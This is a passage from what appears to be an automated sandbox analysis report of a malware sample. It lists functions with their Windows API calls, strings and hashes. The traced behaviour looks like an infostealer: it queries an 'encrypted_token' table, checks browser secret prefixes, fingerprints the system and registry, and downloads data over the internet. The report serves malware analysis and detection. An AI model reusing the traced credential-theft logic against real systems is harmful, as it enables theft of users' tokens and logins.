Part of subcall function 023F4B77: lstrcat.KERNEL32(?,00420FF8), ref: 023F4CC3
Part of subcall function 023F4B77: lstrcat.KERNEL32(?,?), ref: 023F4CD7
Part of subcall function 023F4B77: lstrcat.KERNEL32(?,00420FFC), ref: 023F4CE9
Part of subcall function 023F4B77: lstrcat.KERNEL32(?,?), ref: 023F4CFD
Part of subcall function 023F4B77: CopyFileA.KERNEL32(?,?,00000001), ref: 023F4D13
Part of subcall function 023F4B77: DeleteFileA.KERNEL32(?), ref: 023F4D98

memset.MSVCRT ref: 023F5192

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 4017274736-0
Opcode ID: 53c49ebc4b6c987f3a25fb04f0f9e833fe86fb43a5b4eada2cc9e881564654d5
Instruction ID: c6891db2a4ad274ccacf2c1562e968c93415fb24848080682c3218951e299c35
Opcode Fuzzy Hash: 53c49ebc4b6c987f3a25fb04f0f9e833fe86fb43a5b4eada2cc9e881564654d5
Instruction Fuzzy Hash: 3841C679A4031467DB64F7B0EC46FDD7739AB24701F404495B789661C0EEB85BC88F92

Function 023F8367 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0064A360,00000000,?,00420E2C,00000000,?,00000000), ref: 023F8397
RtlAllocateHeap.NTDLL(00000000), ref: 023F839E
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 023F83BF
__aulldiv.LIBCMT ref: 023F83D9
__aulldiv.LIBCMT ref: 023F83E7
wsprintfA.USER32 ref: 023F8413

Strings

@, xrefs: 023F83B4

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

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Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: @
API String ID: 2774356765-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 653bc1300cbe02dc542bce15c1c308a93f2460492bb49a2307e616c51916cca5
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: D52147B1E44218ABDB14DFD5DC49FAEBBB9FB44B04F104609F705BB680C778A9008BA5

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BB49
AccountId, xrefs: 0040BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountTokens, xrefs: 0040BABA

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 182d67c0191f180266542c51a553aab92d802969267d2949ed4017f0d963be07
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: 182d67c0191f180266542c51a553aab92d802969267d2949ed4017f0d963be07
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

B, xrefs: 00416780, 0041678C

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: B
API String ID: 1494266314-2248957098
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 00409E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8
LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Strings

v10, xrefs: 00409EA3
v20, xrefs: 00409E21
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
@, xrefs: 00409EF1

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

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Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: 191b2616e1fb3493a53b7252654be595687e3ce1a8345bb1b47cea2af286b9d8
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: 191b2616e1fb3493a53b7252654be595687e3ce1a8345bb1b47cea2af286b9d8
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 023E7837 Relevance: 12.1, APIs: 8, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 023E7537: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 023E75A1
Part of subcall function 023E7537: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 023E7618
Part of subcall function 023E7537: StrStrA.SHLWAPI(00000000,004217EC,00000000), ref: 023E7674
Part of subcall function 023E7537: GetProcessHeap.KERNEL32(00000000,?), ref: 023E76B9
Part of subcall function 023E7537: HeapFree.KERNEL32(00000000), ref: 023E76C0

lstrcat.KERNEL32(0064A668,004217FC), ref: 023E786D
lstrcat.KERNEL32(0064A668,00000000), ref: 023E78AF
lstrcat.KERNEL32(0064A668,00421800), ref: 023E78C1
lstrcat.KERNEL32(0064A668,00000000), ref: 023E78F6
lstrcat.KERNEL32(0064A668,00421804), ref: 023E7907
lstrcat.KERNEL32(0064A668,00000000), ref: 023E793A
lstrcat.KERNEL32(0064A668,00421808), ref: 023E7954
task.LIBCPMTD ref: 023E7962

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID:
API String ID: 2677904052-0
Opcode ID: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction ID: c056ec38f57f52b24002a3e1a8f8625ebf5ce716988421b15c41c822dab0f4b5
Opcode Fuzzy Hash: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction Fuzzy Hash: 38314B7AE40119EFDF04EBE0DC95DFEB77AEB59301B105018E106A72A0DA34E94ACF61

Function 023E5217 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 023E5231
RtlAllocateHeap.NTDLL(00000000), ref: 023E5238
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 023E5251
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 023E5278
InternetReadFile.WININET(?,?,00000400,00000000), ref: 023E52A8
memcpy.MSVCRT(00000000,?,00000001), ref: 023E52F1
InternetCloseHandle.WININET(?), ref: 023E5320
InternetCloseHandle.WININET(?), ref: 023E532D

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 115837f6574749958b6ecbcaee2c688be1f676679876c6a36d0e4ab8fe972489
Instruction ID: 8cfa8e2fb8dca274b13a71e31f249ef49054bbd37fc4de3b200eb7713bc5dd15
Opcode Fuzzy Hash: 115837f6574749958b6ecbcaee2c688be1f676679876c6a36d0e4ab8fe972489
Instruction Fuzzy Hash: 033118B8A40228ABDB20CF94DC84BDCB7B5EB48704F5081D9F709A7281D7706AC5CF98

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
HeapAlloc.KERNEL32(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocFileProcessReadmemcpy
String ID:
API String ID: 3894370878-0
Opcode ID: a56c18f6a8e036f8b5130d6e607b8bed7a49f8965ae2d7d0d74e6c8ccafdc211
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: a56c18f6a8e036f8b5130d6e607b8bed7a49f8965ae2d7d0d74e6c8ccafdc211
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 023E1577 Relevance: 10.6, APIs: 7, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 023E158E

Part of subcall function 023E1507: GetProcessHeap.KERNEL32(00000000,00000104), ref: 023E151B
Part of subcall function 023E1507: RtlAllocateHeap.NTDLL(00000000), ref: 023E1522
Part of subcall function 023E1507: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 023E153E
Part of subcall function 023E1507: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 023E155C
Part of subcall function 023E1507: RegCloseKey.ADVAPI32(?), ref: 023E1566

lstrcat.KERNEL32(?,00000000), ref: 023E15B6
lstrlen.KERNEL32(?), ref: 023E15C3
lstrcat.KERNEL32(?,004262E4), ref: 023E15DE

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023F8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,023E1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 023F8DED

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

CopyFileA.KERNEL32(?,00000000,00000001), ref: 023E16CC

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023E9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 023E9C53
Part of subcall function 023E9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 023E9C78
Part of subcall function 023E9C27: LocalAlloc.KERNEL32(00000040,?), ref: 023E9C98
Part of subcall function 023E9C27: ReadFile.KERNEL32(000000FF,?,00000000,023E16F6,00000000), ref: 023E9CC1
Part of subcall function 023E9C27: LocalFree.KERNEL32(023E16F6), ref: 023E9CF7
Part of subcall function 023E9C27: CloseHandle.KERNEL32(000000FF), ref: 023E9D01

DeleteFileA.KERNEL32(00000000), ref: 023E1756
memset.MSVCRT ref: 023E177D

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlenmemset$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID:
API String ID: 3885987321-0
Opcode ID: 65992f5c161543344b7d7a67b9e28a0d0697389c6807308598fc34cd9fe59a0c
Instruction ID: 92ca0ffa626c361e5f9aa1dac36010b52945dcd47f90dd42758b1cb216f7798f
Opcode Fuzzy Hash: 65992f5c161543344b7d7a67b9e28a0d0697389c6807308598fc34cd9fe59a0c
Instruction Fuzzy Hash: 155162B19402289BCB69FB60ED91FED737EAF54700F4041A8A74EA2091EE305F89CF55

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.ADVAPI32(00000000,007CAAE8,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.ADVAPI32(00000000,007CAB90,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.ADVAPI32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 31ba4a9b52ae66b65e43e00cd9c953ecc48c3f07dc5bf7da1f470b90c4e60b6b
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 31ba4a9b52ae66b65e43e00cd9c953ecc48c3f07dc5bf7da1f470b90c4e60b6b
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 023E4A17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A51
??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A68
??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A7F
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 023E4AA0
InternetCrackUrlA.WININET(00000000,00000000), ref: 023E4AB0

Strings

<, xrefs: 023E4A30

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c4016b40be7962ab96eee41e1f0a74c78e609d749f91f5b1f2864e454020d9f4
Instruction ID: 9154ffe0602603f4c8220663f3262f226cac1a5d06ebb7a96f6d41b1ff4ac9a6
Opcode Fuzzy Hash: c4016b40be7962ab96eee41e1f0a74c78e609d749f91f5b1f2864e454020d9f4
Instruction Fuzzy Hash: 602129B5D00219ABDF24DFA4E849AED7B75FF44321F108225F929A7290EB706A05CF91

Function 023F78F7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 023F790B
RtlAllocateHeap.NTDLL(00000000), ref: 023F7912
RegOpenKeyExA.ADVAPI32(80000002,0064A398,00000000,00020119,00000000), ref: 023F7944
RegQueryValueExA.ADVAPI32(00000000,0064A434,00000000,00000000,?,000000FF), ref: 023F7965
RegCloseKey.ADVAPI32(00000000), ref: 023F796F

Strings

Windows 11, xrefs: 023F7924

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0643a1498e0a2cdeb31d432c6d8dca0fb0182b62e3f1f930d0e2d809f6e96a77
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: B9012CB9A80204BBEB10DBE0ED49FAEB7BDEB48701F005154BA0596291D6749900CB51

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.ADVAPI32(80000002,00799EC8,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.ADVAPI32(00000000,007CAC50,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.ADVAPI32(80000002,00799EC8,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.ADVAPI32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004192E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413AEE,?), ref: 004192FC
GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 00419311, 0041933D, 00419314
:A, xrefs: 004192F8, 004192FB

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :A$:A
API String ID: 1378416451-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 023E7537 Relevance: 9.1, APIs: 6, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 023E75A1
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 023E7618
StrStrA.SHLWAPI(00000000,004217EC,00000000), ref: 023E7674
GetProcessHeap.KERNEL32(00000000,?), ref: 023E76B9
HeapFree.KERNEL32(00000000), ref: 023E76C0

Part of subcall function 023E94A7: vsprintf_s.MSVCRT ref: 023E94C2

task.LIBCPMTD ref: 023E77BC

Memory Dump Source

